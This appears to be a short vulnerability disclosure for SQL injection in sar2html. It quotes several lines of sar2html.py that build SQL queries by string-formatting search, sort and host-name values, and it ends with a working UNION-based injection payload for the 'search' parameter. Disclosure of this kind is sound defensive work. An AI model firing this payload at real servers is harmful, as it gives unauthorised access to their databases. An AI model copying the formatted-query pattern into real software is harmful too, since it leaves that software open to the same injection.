| Description | The application constructs SQL queries using user-controlled input without proper parameterization inside the search functionality. This may allow manipulation of SQL query structure under specific conditions.
1. Start the application locally
2. Navigate to the search functionality.
3. Supply crafted input into the search field.
Affected Code — sar2html.py
# Line ~90: Host name from tar archive used directly in SQL
sqlCommand = 'SELECT * from "hosts" where name = "{}"'.format(s2host)
# Line ~92: Host name and OS from tar archive used directly in SQL
sqlCommand = '''INSERT INTO "hosts" (name, os) VALUES("{}", "{}")'''.format(s2host, s2os.lower())
# Line ~150: Host name used in DELETE query
sqlCommand = '''DELETE FROM "{}" WHERE name = "{}" and rowid not in
(SELECT min(rowid) FROM "{}" WHERE name = "{}" GROUP BY date, name,
dev)'''.format(s2table, s2host, s2table, s2host)
# Line ~153: Host name used in DELETE query
sqlCommand = '''DELETE FROM "{}" WHERE name = "{}" and rowid not in
(SELECT min(rowid) FROM "{}" WHERE name = "{}" GROUP BY date,
name)'''.format(s2table, s2host, s2table, s2host)
# Line ~181: Host name in WHERE clause
s2df = pd.read_sql_query('SELECT * FROM "{}" WHERE name = "{}"'.format(s2table, s2host), s2con)
# Line ~194: Host name in DELETE
sqlCommand = '''DELETE FROM "{}" WHERE name = "{}"'''.format(s2table, s2host)
# Line ~252: User-controlled sort parameter
hosts = conn.execute('SELECT * FROM hosts ORDER by {}'.format(sort)).fetchall()
# Line ~254: User-controlled search parameter
sqlQuery = "SELECT * FROM hosts WHERE (name || os) LIKE '%{}%' ORDER by {}".format(searchText, sort)
Exploit payload:
Parameter: search (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: search=' UNION ALL SELECT CHAR(113,112,106,118,113)||CHAR(97,111,98,73,70,68,72,117,84,90,85,100,117,110,88,114,76,85,77,68,67,68,70,89,102,114,65,115,83,101,108,82,79,116,120,122,114,70,121,122)||CHAR(113,112,107,122,113),NULL,NULL,NULL-- XMsR
|
|---|